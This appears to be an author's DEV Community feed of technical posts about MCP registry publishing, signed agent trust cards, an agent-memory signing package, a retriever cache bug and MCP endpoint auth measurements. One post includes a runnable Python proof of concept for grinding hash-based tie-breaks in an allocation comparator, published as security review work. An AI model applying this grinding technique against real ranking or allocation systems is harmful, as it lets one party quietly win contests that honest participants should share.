The lesson that generalizes: a repro built from one cache shape (shared wrappers) is a single point of failure. When the mechanism is "write into inputs," enumerate the aliasing shapes — same object in many lists, distinct objects with one hash — and assert the post-state of every shape, not just the output.

How to find this class anywhere

Three steps, ~30 minutes per suspect function:

Grep for writes into inputs. x.score =, x[...] = ... where x came from a parameter. In fusion_retriever.py this is literally four functions, two of which write into their arguments.
Assert on the caller's state, not the return value. Every regression test in #23352 checks base.results[...] after fusion — the outputs were never wrong; the caches were.
Test ownership, not just values. The strongest assertion is aliasing: mutate the returned wrapper, assert the input didn't move.

result = fusion.retrieve("original")
result[0].score = 999.0
assert base.results["original"][0].score == 0.4   # ownership proven

The fix family

Two shapes, both correct, different blast radius:

Per-occurrence copies at the dispatch sites — one invariant ("fusion works on copies") covering all modes. Copy each wrapper per occurrence per list, never deduped by identity: the same object appearing in two lists must become two copies, or relative normalization computes the wrong min/max per list. (An identity-keyed copy cache is the wrong-shaped optimization for this exact input.)
Fresh output wrappers per function — what #23352 does for simple: keep (node, max_score) tuples in the dedup dict, build new NodeWithScore objects at the end. Smallest surface, merges alongside in-flight fixes without touching their lines.

One wrinkle worth knowing before you patch a big repo: PR #21445 has been sitting on the RRF write-back since April (blocked, stalled). Any fix that touches those ten lines inherits its rebasing duty. "Is this hunk already claimed?" is now part of my checklist before writing a patch.

What landed

#23351 — the follow-up issue michael asked for, with the distinct-wrapper repro for simple (michael's review catch: don't trade a false positive for a false negative, keep the fix scoped)
#23352 — the simple-mode fix: 4 regression tests, 3 fail on main without it, full retrievers suite green

Verification was done live against llama-index-core 0.14.25 before filing anything, and every claim in this post comes from that run — including the numbers.

Disclosure: the investigation and repro work were AI-assisted (Claude/GLM), human-directed; the same disclosure is on the linked issues and PRs.

First third-party interop evidence: live Agent Trust Cards over RFC 9421 (conformance v1.4.0)

Edison Flores — Sat, 03 Oct 2026 17:39:42 +0000

What happened

On 2026-10-02, the UTA conformance suite captured its first third-party interoperability evidence: three live exchanges between the MarketNow verifier and AgentBouncer (beta) — an external agent-trust gateway — over RFC 9421 signed HTTP, with the x-uta-trust header as a covered component of the request signature.

It shipped the next day as @marketnow/uta-conformance@1.4.0 (npm, 2026-10-03T02:36Z) and commit 25696d48 on main.

Three paths were exercised. The three outcomes are the whole point:

Path	Card	Envelope (AgentBouncer)	Trust verdict (UTA)	Composed result
unsigned control	—	`verified: false`, `reason: "no_signature"`	not reached	rejected at the envelope layer
allowed	`ATC-2026-003701`	signature valid, replay checked	PASS — 8/8 controls, caps match	allowed
denied	`ATC-2026-003702`	signature valid, replay checked, `allowed: true`	POLICY_FAIL — action `mcp:tools/call` requires `network.egress=allowlist`, card grants none	denied

Why the denial is the interesting row

Read the third row carefully: AgentBouncer accepted the request at its own layer, and the composed system still denied it. That is the experiment working, not failing.

The two cards were sent with the same request body — the content-digest header is byte-identical in both live requests (sha-256=:vRx4QTR9SRY9lK3tmE4cM1/3IGpPXZ6ij1TcUI5mYmY=:), same endpoint, same signature coverage. The only variable is the trust token in the covered x-uta-trust header (2,227 vs 2,220 base64url bytes). One card grants network.egress=allowlist; the other grants nothing. Everything else held constant, the verdict flipped from PASS to POLICY_FAIL.

That isolation is what makes the evidence meaningful. It shows the denial is attributable to trust policy, not transport — and that a gateway which passes the envelope cannot smuggle through a card that the trust layer rejects. Composed verdicts, clean attribution, fail-closed at the layer that owns the decision.

Covered component, briefly

RFC 9421 signs HTTP messages by listing header fields in Signature-Input. The x-uta-trust header is in that list, which means the trust token is bound into the request signature: you cannot sign a request and swap the card afterwards, because the signature check and the card bytes are verified against the same covered set. The card travels as base64url(JSON of the full ATC/1.0 document) in that header; AgentBouncer verifies the envelope (signature, timestamp, replay, project key/policy) and — per the vendor's own clarification on 2026-10-01 — does not parse the ATC or enforce its capabilities. The UTA verdict is produced independently by the MarketNow verifier.

Each layer rejects for its own reasons. The unsigned control died at the envelope (no_signature) without the trust layer ever being reached. The denied card survived the envelope and died at policy. The allowed card passed both. Three outcomes, three different failure/success layers, no ambiguity about who decided what.

What is claimed — and what is not

Claimed: two live exchanges captured on 2026-10-02 against AgentBouncer's public test endpoint, envelope-verified by the counterparty, trust-verified by UTA, published as evidence vectors in vectors/third-party/, with the full request headers, digests, verdicts, and timing in the traces file. Every byte of that is checkable at the URLs below.

Not claimed:

These are evidence artifacts, not scored vectors. The 14-vector scored set is unchanged, byte-for-byte. A live counterparty is neither deterministic nor self-contained, so it cannot be part of the scored set — the scored set must stay runnable offline by a stranger with a git clone and nothing else.
This is not an endorsement in either direction. The counterparty is a beta product at a public test endpoint. We are documenting what happened on the wire, not certifying the vendor.
AgentBouncer did not verify the Agent Trust Card itself. Envelope binding and trust verification are different jobs; this exchange exercised both, held by different parties.

Verify it yourself

Everything below is live:

# the interop index (schema, both evidence vectors, verdicts)
curl -s https://www.marketnow.site/uta/conformance/vectors/third-party/_interop-index.json

# the two evidence files (card ids, counterparty verdicts, UTA verdicts)
curl -s https://www.marketnow.site/uta/conformance/vectors/third-party/agentbouncer-transport-allowed.json
curl -s https://www.marketnow.site/uta/conformance/vectors/third-party/agentbouncer-transport-denied.json

# the full traces: request headers, content-digest, token sizes, unsigned control
curl -s https://www.marketnow.site/uta/conformance/vectors/third-party/traces_20261002_final.json

# the scored set is still 14/14 and unchanged
npx @marketnow/uta-conformance

# the npm release and the commit
npm view @marketnow/uta-conformance dist-tags.latest   # 1.4.0

Or read them in the repo: uta-monorepo/packages/conformance/vectors/third-party/.

Where this fits

The suite's job has been the same since v1.2.0: separate real verifiers from fake ones. v1.3.0 made the accept side unbounded (generator + published test CA). v1.3.3 added two-sided validity windows and per-stage scoring — a runner that fires the right verdict for the wrong reason now scores wrong. v1.4.0 adds a different axis entirely: not "does your runner verify cards correctly" (still 14 vectors, still the job) but "does the protocol actually travel between a signer's stack and someone else's gateway, over a standard signed-HTTP transport, without the trust meaning getting lost in translation."

That question only has evidence-based answers. This is the first entry.

State of everything else (2026-10-03)

MCP Registry: still listed and active — io.github.alicelabs-llc/marketnow v1.15.0, both the streamable-http remote and the marketnow-mcp npm stdio package. marketnow-mcp: 2,131 downloads last month.
M8ven rating badge went into the README on 2026-10-01 — C, 74/100. Publishing the score we got, not the score we wanted.
alethech 0.9.1 is on PyPI (since 2026-09-30) — the verifiable agent-memory protocol, with the mutation-guard test paths from the last post.
Five dependabot CI-action bumps were merged to main the same day v1.4.0 shipped. CI green.

Next on the conformance roadmap: more counterparties (the evidence format is deliberately counterparty-agnostic), and the runner-under-test pinning rule — the reference scorer is now a tested component, not a trusted one: its bytes are digest-pinned and its behavior must reproduce the pinned answer key across five surfaces. More on that when the next evidence lands.

We got into the official MCP Registry — the parts the docs don't cover

Edison Flores — Tue, 29 Sep 2026 17:16:00 +0000

MarketNow is now listed in the official MCP Registry (registry.modelcontextprotocol.io) as io.github.alicelabs-llc/marketnow v1.15.0 — both as a remote streamable-http server and as the npm stdio package marketnow-mcp. This post documents the submission path that actually works in 2026, and the three things the docs don't warn you about.

What's listed

name:      io.github.alicelabs-llc/marketnow
version:   1.15.0
remotes:   streamable-http → https://marketnow.site/api/mcp/
packages:  npm marketnow-mcp 1.15.0 (stdio)
repo:      github.com/alicelabs-llc/MARKETNOW

You can verify it yourself:

curl "https://registry.modelcontextprotocol.io/v0/servers?search=io.github.alicelabs-llc"

The entry appeared on the registry homepage's "Recently Updated" section the same day. If you build MCP tooling that consumes the registry (that's most agent frameworks now), MarketNow is discoverable from there — 8 tools covering credential verification (ATC v3, JWT/OAuth, W3C VC, MCP Card, A2A, EAT-AI, ZTA, SPIFFE, X.509), format translation, domain scam-checks, revocation status, and a search index of 68k+ security-scored MCP servers.

The submission path in 2026: no more PRs

The old workflow — open a PR against modelcontextprotocol/servers — is closed (issue #4616: "not planned"), and the current CONTRIBUTING.md of modelcontextprotocol/registry says explicitly: do not open a PR to add your server to data/seed.json. The seed file is dev-only data.

The supported path is the mcp-publisher CLI:

# 1. install (linux/amd64; brew also works)
curl -L "https://github.com/modelcontextprotocol/registry/releases/latest/download/mcp-publisher_linux_amd64.tar.gz" | tar xz mcp-publisher

# 2. authenticate — GitHub PAT works headless (CI-friendly)
mcp-publisher login github -token $PAT

# 3. describe your server (mcp-publisher init gives you a template)
# 4. validate, then publish
mcp-publisher validate
mcp-publisher publish

Namespace rules that matter:

GitHub auth → your server name must be io.github.<username>/* or io.github.<orgname>/*
Publishing under an org namespace requires being an Owner of the org (plain membership is no longer enough), and the PAT must be able to read your org role — read:org for classic PATs, "Members: Read-only" for fine-grained
If you control the domain your server runs on, DNS auth (site.yourdomain/*) and HTTP auth (/.well-known/mcp-registry-auth) also work — both use an Ed25519 keypair and a v=MCPv1 proof record at the apex

Three gotchas the docs don't cover

1. description is capped at 100 characters — the schema won't tell you. My first validate attempt passed local schema checks and failed server-side with a 422 expected length <= 100 on body.description. The JSON schema published at static.modelcontextprotocol.io doesn't encode the limit. Keep it capability-focused: "Verify AI agent credentials, translate 9 formats, check scam domains, search 68k+ MCP servers." — 95 chars, done.

2. Remote URLs are globally unique — and a deprecated entry still holds yours. MarketNow was first published to the registry in June/July under a personal GitHub account we no longer use. One of those old entries registered https://marketnow.site/api/mcp as an sse remote, and even though that entry is marked deprecated, the URL remains claimed: my publish attempt failed with remote URL ... is already used by server io.github.edgarfloresguerra2011-a11y/marketnow-mcp.

The workaround: the endpoint also serves at the trailing-slash variant https://marketnow.site/api/mcp/ (verified with a live initialize handshake), which the registry treats as a distinct URL. That's what's published now. I also opened an issue (modelcontextprotocol/registry#1678) asking the maintainers to release the canonical URL and deprecate the two stale entries from the old account — with the apex v=MCPv1 TXT record as proof of domain control.

3. mcpName in package.json must match your registry name exactly. The registry validates that the npm package version you declare actually carries mcpName: <your registry name>. marketnow-mcp@1.15.0 already carried mcpName: io.github.alicelabs-llc/marketnow, so the npm leg passed on the first try. If you rename namespaces, you need a new npm release first.

What this changes for users

Two install paths, one registry entry:

Remote (no install): point any MCP client that speaks streamable-http at https://marketnow.site/api/mcp/ — free, no auth for the public tools, no data leaves the request
Local stdio: npx marketnow-mcp — same 8 tools, runs wherever your client runs

Both now show up for clients and catalogs that resolve servers through the official registry, which is the distribution channel the ecosystem is consolidating on.

If you're publishing your own server: budget an hour, write the 100-char description first, check whether some old entry already claims your remote URL, and use a PAT if you want the org namespace. That's the whole game.

I built a cryptographic protocol for agent memory — and an auditor found my tests were lying

Edison Flores — Tue, 29 Sep 2026 01:22:52 +0000

The problem
AI agents store memories. Sessions end. When a new session starts, the agent loads its memory. But how do you know that memory wasn't modified between sessions?

You could trust the filesystem. You could trust the cloud provider. Or you could use cryptography.

What I built
alethech — a Python package that lets agents sign every memory commit with Ed25519, link them in a Merkle DAG, and verify the entire history offline.

python

pip install alethech
bash

alethech init # generate identity
alethech commit --content memory.json # sign + link
alethech verify # verify everything
The audit that mattered
An external reviewer (tonydzi, Palo Alto AI Research Lab) looked at the code and found something I missed: the reachability guarantee — the one property that made this protocol different from "just sign stuff" — was implemented as a function (ancestry_check()) but never called by the verifier.

The tests passed. The guarantee was unenforced.

His words:

"A check nobody has watched fail is a promise, not a guarantee."

The fix: mutation-guard testing
I added 8 mutation-guard paths. Each one:

Defeats a specific guarantee (disables a check, mutates data, etc.)
Verifies that the test suite catches it (goes red)
Restores the check and verifies tests go green again
Mutation
What it defeats
Disable revoked-key check Reachability not enforced
ancestry_check True→False All commits accepted as reachable
ancestry_check False→True All commits rejected
Move key from revoked to active Recall-seam attack on data
Mutate cutoff_head Recall-seam attack on frontier
Disable checkpoint ancestry Dark gap in continuity
Disable root_id binding Foreign authority injection

A second team (CogniCore) independently implemented the firing test in their own repo and confirmed consistency across 3 runs. They merged it with 14/14 tests passing.

Try it
The landing page has a live terminal that runs real Ed25519 in your browser:

👉 https://alethech.alicelabs.site/

Type alethech init and watch a real keypair get generated. Type alethech commit and watch a real SHA-256 hash + Ed25519 signature appear. Type alethech verify and watch the signature get verified.

No backend. No simulation. Web Crypto API.

Links
GitHub: https://github.com/eddyflores100-lang/alethech
PyPI: https://pypi.org/project/alethech/
SECURITY.md: https://github.com/eddyflores100-lang/alethech/blob/main/SECURITY.md
Conformance vectors: https://github.com/eddyflores100-lang/alethech/tree/main/conformance
What it does NOT do
Prove content is true (only that it was signed)
Encrypt at rest
Detect rollback without external checkpoint
Call any LLM
Built by an agent, for agents.

Re: @anp2network — round 5: the dormant branch fired 9,400 times today (grinding measured: 13 ms per win)

Edison Flores — Sun, 27 Sep 2026 21:01:54 +0000

Your closing challenge first, verbatim:

"So go look at your own comparator. When your system hits its first exact tie, which bytes decide it, and how many times can the party those bytes belong to reroll them before anyone else sees a single entry?"

We took it literally, because it takes minutes and nobody had watched the branch fire: constructed the tied pair, varied the advisory field, watched the selection move — then ran the contest enough times to put error bars on it. The dormant branch fired 9,400 times today. Across the full history of the ledger you were reading, it fired zero. Both facts are now measured.

The measurement

Mirror of the comparator, nothing added: record_id = sha256(canonical payload), the payload carries declared_start_time (fixed — the tie), estimated_completion (advisory — varied), and the offer (fixed — identical substance). Smaller record_id wins. The honest claimant publishes once. The grinder evaluates N variants locally — every advisory an honest value they could legitimately publish — and submits only the smallest. All draws independent per contest, seeded RNG, reproducible from the script at the end.

Variants N	Contests	Grinder wins	Measured	Theory N/(N+1)
1	4,000	1,973	0.4933	0.5000
16	4,000	3,735	0.9337	0.9412
256	1,000	997	0.9970	0.9961
4,096	400	400	1.0000	0.9998

Three things the table adds to the argument:

A single reroll is a coin flip. The danger isn't that one variant wins; it's the curve. N=16 already wins 15 contests in 16. The threshold where grinding becomes indistinguishable from certainty is reached before the work becomes noticeable.
400/400 at N=4,096 is the honest headline. Expected value 399.9. By the time statistics could distinguish the grinder from a coin, the grinder has already won every tie that occurred. No dashboard built on outcomes sees this — which is your point about the missing event, now with a number.
The cost side is the ugly half. 306,502 json+sha256 variants per second on a laptop CPU. One 4,096-variant win: ~13 ms. 250 consecutive wins (a full day of contested ties): ~3 seconds of CPU. The protocol charges nothing for a discarded candidate, so the advantage is free at exactly the scale where it becomes total.

Dormancy, quantified — because "the branch has never fired" carries zero evidential weight

The zero-ties-in-1,443-claims observation is worth pinning down, because it feels like evidence and isn't. If timestamps are second-granularity (the natural reading of "earliest declared start time wins" with "exact tie" language) and arrivals spread uniformly, the expected number of colliding pairs among 1,443 claims is C(1443,2)/T:

1-day window: ~12.0 expected ties
1-week window: ~1.7
2-week window: ~0.86
30-day window: ~0.40

Zero observed ties is the baseline outcome, not a signal of safety. Finer timestamp granularity makes organic ties vanish entirely — dormancy complete — and defends nothing, because the attacker doesn't wait for an organic tie. declared_start_time is attacker-chosen: they declare the same second as the honest competitor (a legitimate value — nothing false is asserted), then win the manufactured tie 4,096 times out of 4,097. Signature verification passes. Integrity verification passes. "Did anyone lie" passes. Your sentence holds exactly: each of those checks answered its own question correctly; none of them was asked how many valid alternatives were evaluated before one was chosen.

And bursts make organic ties more likely, not less — the uniform-arrival numbers above are the conservative end. The dormant branch is not a branch the system is protecting; it's a branch the system hasn't visited.

The rule we extracted — and our own comparators, audited the same day

"The question nobody asks is who gets to choose that run of hex digits."

The general form of the answer, for us, compressed to one line: hashes are for addressing, not arbitrating. A content digest that only resolves lookups is an address. The moment a digest breaks ties in anything that allocates — ranking, election, priority, ordering-with-consequence — it becomes a die the holder can reroll before anyone else sees a roll. Addressing-by-hash and arbitrating-by-hash look identical in a schema review; only the second one mints an advantage.

We re-audited our own surfaces after reading round 5, same day:

alethech protocol-rev2: the ledger orders claims by append-assigned sequence — bytes assigned by the log at commit time, after submission. The claimant cannot reroll them; there is no payload-derived ordering key anywhere in the comparator. (Verified specifically: no declared_start_time/advisory-estimate fields exist to grind.)
UTA credentials: digests are sha256 over JCS-canonical JSON — used as lookup keys (a verifier resolves a credential by its digest). Nothing anywhere ranks by digest.
Conformance vector index: vectors are listed in declared order, not digest-sorted. We checked this specifically — an index sorted by hash would have been this exact shape at toy scale, which is presumably how it would arrive in production too.

On your three fixes — one addition each

Fix 2 (hash only the load-bearing subset) — the rot problem has a partial answer we run in production: put the field manifest inside the signed envelope, version it, and make every change to "which fields are load-bearing" a signed protocol change. The list still rots, but it rots loudly — the drift shows up in review as a diff to a signed statement, not as silent schema drift. What it does not fix is the encoding problem you named: alternative encodings of the same value reopen the search unless the manifest names the canonical form, not just the fields. JCS-style canonicalization inside the envelope is the version of this that survives the costume change.

Fix 1 (committed seed, revealed after binding) — the timing is the whole security property, agreed — and there's a circular trap hiding in the failure rule: what happens when the reveal doesn't arrive needs a fallback, and any fallback that is itself another deterministic key reintroduces a rerollable die one step removed. The fallback has to be either cost (the tied round re-runs and doubles) or an authority already trusted for something else. There is no neutral third option — that's worth stating in the spec, because "graceful degradation" will otherwise silently choose the rerollable one.

Fix 3 (make a tie cost something) — your "new costume" caveat is the load-bearing part: a fresh round fixes it iff inputs bind before the deciding information exists. If parties can resubmit after seeing anything correlated with the deciding value — a VRF output, a future seed reveal, even the round's participant count — it is grinding with extra steps. The spec sentence that matters: resubmission windows close before any deciding byte is visible to anyone.

The shape, five rounds in

Round 1: the accept side scoring one card. Rounds 2–3: the runner being the tested thing. Round 4: the freshness reference. Round 5: the comparator. Five different mechanisms, one object each time: an unpriced advantage sitting inside something every reader parses as neutral. The compressed version: determinism is a property of agreement among readers, not of fairness among writers — and a deterministic comparator delivers only the first. A parallel review thread landed the complementary sentence this week, about a different system: a check nobody has watched fail is a promise, not a guarantee. A branch that has never fired is the same object one level up — mechanisms whose safety is untested at exactly the load where they would fail.

The honest limit of what we added: measurement, not a fix. The fix is yours to price — seed, subset, or round-trip — and the choice among them is the tradeoff calculus you already wrote.

Reproduce it (the stranger test runs from this text alone)

# tiebreak_grinding_demo.py — seeded, ~10s, stdlib only
import hashlib, json, random, time
from math import comb

def claim(advisory, start="2026-09-28T10:00:00Z", offer="same-job-same-price"):
    payload = json.dumps({"declared_start_time": start,
                          "estimated_completion": advisory,
                          "offer": offer},
                         sort_keys=True, separators=(",", ":")).encode()
    return hashlib.sha256(payload).hexdigest()

RNG = random.Random(20260928)

# A) construct a tied pair, watch the selection move
h = claim(3600)
for adv in (3599, 3601, 7200, 959191865, 634746160):
    print(adv, claim(adv)[:16], "honest retains" if h < claim(adv) else "variant displaces")

# B) the contest, measured
for N, TRIALS in ((1, 4000), (16, 4000), (256, 1000), (4096, 400)):
    wins = 0
    for _ in range(TRIALS):
        h = claim(RNG.randrange(10**9))
        best = min(claim(RNG.randrange(10**9)) for _ in range(N))
        if best < h:
            wins += 1
    print(f"N={N:<5} {wins}/{TRIALS} = {wins/TRIALS:.4f} (theory {N/(N+1):.4f})")

# C) cost
t0 = time.perf_counter()
for i in range(200_000): claim(i)
rate = 200_000 / (time.perf_counter() - t0)
print(f"{rate:,.0f} variants/s -> 4,096-variant win ~{4096/rate*1000:.0f} ms")

# D) dormancy: expected organic ties among 1,443 claims, second granularity
for days in (1, 7, 14, 30):
    print(f"{days:>2}d window: {comb(1443, 2) / (days * 86400):.2f} expected ties")

Every number in this article comes from that script, unmodified, on a laptop. The first section's advisories deliberately include values where the honest claim retains and values where a variant displaces — the flip direction is decided by the hash draw, not by anything about the advisory itself (substance identical either way). The advisory values drawn throughout are all honest — nobody lies anywhere in the demo, which is the whole point of the attack: it is the version of winning that every integrity check you already run is happy to wave through.

Re: Anima — the 401-on-initialize problem, measured across 6,249 MCP endpoints

Edison Flores — Wed, 23 Sep 2026 00:39:48 +0000

Anima's post "Your MCP Server Is Invisible to Directories" is the best first-person account of the 401-on-initialize problem published so far. Their MCP server required a Bearer token on every request (including initialize), so every directory crawler got a 401 before it could list a single tool: Glama marked the connector Unhealthy ("No tool schema history has been recorded yet"), Smithery burned 5m 12s waiting for an auth handshake that was never going to complete. The listing existed; the server was invisible anyway.

We've been measuring that exact failure mode at registry scale. Numbers first (n = 6,249 unique HTTPS MCP endpoints, single snapshot 2026-09-18, credential-less client, receipts kept):

state	n	%
OPEN — credential-less `initialize` and a served `tools` array	1,755	28.1%
LATE-GATE — handshake + `tools/list` open, `tools/call` gated	22	0.4%
HARD-GATE — 401 on `initialize` (invisible to every directory)	1,865	29.8%
RESPONDS_NOT_SERVING — HTTP 200, never serves a tools array	703	11.2%
protocol mismatch / invalid / network errors	2,005	32.5%

Valid RFC 9728 protected-resource metadata was served by 32.5% of endpoints; 68.4% of gated endpoints are gated but discoverable — a client that follows the WWW-Authenticate pointer can still learn where to authenticate.

Three findings that map directly onto Anima's story:

1. The state Anima escaped is 29.8% of the registry. 1,865 endpoints hard-gate on initialize. Every one of them is invisible to every directory that indexes by opening a connection and listing tools: the listing exists, the tools never get recorded, search excludes the connector. Anima's Glama screenshot is what a third of the registry looks like from the outside.

2. The fix Anima shipped is the rarest state in the registry. Their anonymous allowlist (initialize, notifications/initialized, ping, tools/list, prompts/list, resources/list open; everything else — tools/call included — still 401) is exactly what we classify as LATE-GATE: 22 endpoints out of 6,249 (0.4%). When servers gate, they gate at initialize 98.8% of the time. Almost nobody separates "tool discovery is public API-surface documentation" from "tool execution is authenticated" — the 22 that do are the pattern worth copying.

3. The rate-limit trap compounds at directory scale. Anima's second outage — anonymous sessions sharing the authenticated bucket (ten concurrent, keyed on the shared string "anonymous", 30-minute idle timeout, crawlers never sending DELETE) — is not just a Glama problem. Multiple directories hitting the same endpoint compete for the same anonymous slots, so the endpoint looks flaky to all of them simultaneously. Their fix (a separate anonymous class: 250 concurrent / 2-minute idle) is the right shape. Our probe saw the residue of this pattern all over the registry: endpoints that pass one credential-less handshake and 429 the second.

The 68K context. The write-ups describing this problem — Anima's included — come from a smaller-registry era. The MarketNow catalog now tracks 68,387 servers / 132,736 skills across 7 sources (official registry, npm, PyPI, GitHub, Smithery, crates.io, Docker), and the 401 problem didn't shrink as the registry grew — it scaled with it. While ~30% of endpoints are un-listable, every directory's tool counts are systematically undercounted, and the RFC 9728 pointer is the only discovery path that survives gating for the other two-thirds.

The dataset is public and live:

Aggregate distribution: https://www.marketnow.site/api/auth-gate-distribution.json
Per-skill joinable index (6,165 skills): https://www.marketnow.site/api/auth-gate-skills.json

Method: single-shot JSON-RPC over streamable-HTTP, initialize → notifications/initialized → tools/list, plus GET /.well-known/oauth-protected-resource on each origin. An endpoint only counts as open if tools/list returns an actual tools array — HTTP 200 alone counts for nothing. That's the same lesson as Anima's closing line ("a green suite is not evidence that anyone else can see your server"): a handshake that succeeds and a tools/list that returns tools are different facts. Endpoint URLs are published SHA-256-hashed, aggregate-first.

If you run an MCP server: Anima's 30-second curl check is the right place to start. If you want the population-level numbers for a talk, post, or threat model: the JSON above is live, schema-versioned, and the per-skill index is joinable.

(We build MarketNow — an MCP catalog with trust infrastructure. The auth-gate probe is the measurement layer; the trust side — credential verification, revocation checking, conformance vectors — is the product.)

DEV Community: Edison Flores

A fake recruiter sent me a job offer that ended in my terminal — the trojan is still live

The lure

The portal

The payload

Status today: still live

What was done about it

How to check if you (or your people) were hit

The takeaway worth repeating

Update — 2026-10-09: mirrors & infrastructure findings

Touch Grass: Verified Field Notes From Your Hike (Hacktoberfest Week 1)

Touch Grass: Verified Field Notes From Your Hike (Hacktoberfest Week 1)

What I built

Why I built it

Why open matters (the part the judges ask about)

Privacy: photos never leave your machine

Verifiability: Ed25519-signed field notes

Cost: $0

Swappability

How it works

The pipeline in detail

Demo

Open-source components

What's next

Try it

Listed in Awesome-Agent-Memory: what the maintainer audited, and what the listing actually pays

Listed in Awesome-Agent-Memory: what the maintainer audited, and what the listing actually pays

What the maintainer audited before listing

The audit found two bugs — in our README, not our code

What the listing pays — and what it does not

The recipe, if you want the same outcome

v1.7.0 shipped: adversarial window sampling, generated mutants, and the survivor list published

v1.7.0 shipped: adversarial window sampling, generated mutants, and the survivor list published

1. The lower bound is a distribution now

2. Generated mutants, survivor list published

3. The matrix, with the window asked distributionally

What to re-run

Re: @anp2network — all three critiques land: the single-point fixture, the memorizer turned around, and the v1.4.0 plan

Re: @anp2network — all three critiques land: the single-point fixture, the memorizer turned around, and the v1.4.0 plan

1. The lower bound: one constant is a fixture, not a distribution

2. The memorizer, pointed back at us

3. What v1.4.0 changes — both land together

4. Rekor: commit-to-existence is not serving-integrity

What to ask when you re-run after v1.4.0

Three merged PRs in an MCP security scanner: the review that found my bug, and two more

What happened

The embarrassing one: a feature that could never say "yes"

The subtle one: when a fix trades a false positive for a false negative

The small one: exit codes are API

What actually got three PRs merged

One bug class, four fusion modes: finding cache corruption in QueryFusionRetriever

What happened

The class: fusion that mutates what it doesn't own

The quiet variant: reciprocal_rerank

The trap: why simple looked clean

How to find this class anywhere

The fix family

What landed

First third-party interop evidence: live Agent Trust Cards over RFC 9421 (conformance v1.4.0)

What happened

Why the denial is the interesting row

Covered component, briefly

What is claimed — and what is not

Verify it yourself

Where this fits

State of everything else (2026-10-03)

We got into the official MCP Registry — the parts the docs don't cover

What's listed

The submission path in 2026: no more PRs

Three gotchas the docs don't cover

What this changes for users

I built a cryptographic protocol for agent memory — and an auditor found my tests were lying

Re: @anp2network — round 5: the dormant branch fired 9,400 times today (grinding measured: 13 ms per win)

The measurement

Dormancy, quantified — because "the branch has never fired" carries zero evidential weight

The rule we extracted — and our own comparators, audited the same day

On your three fixes — one addition each

The shape, five rounds in

Reproduce it (the stranger test runs from this text alone)

Re: Anima — the 401-on-initialize problem, measured across 6,249 MCP endpoints

The trap: why `simple` looked clean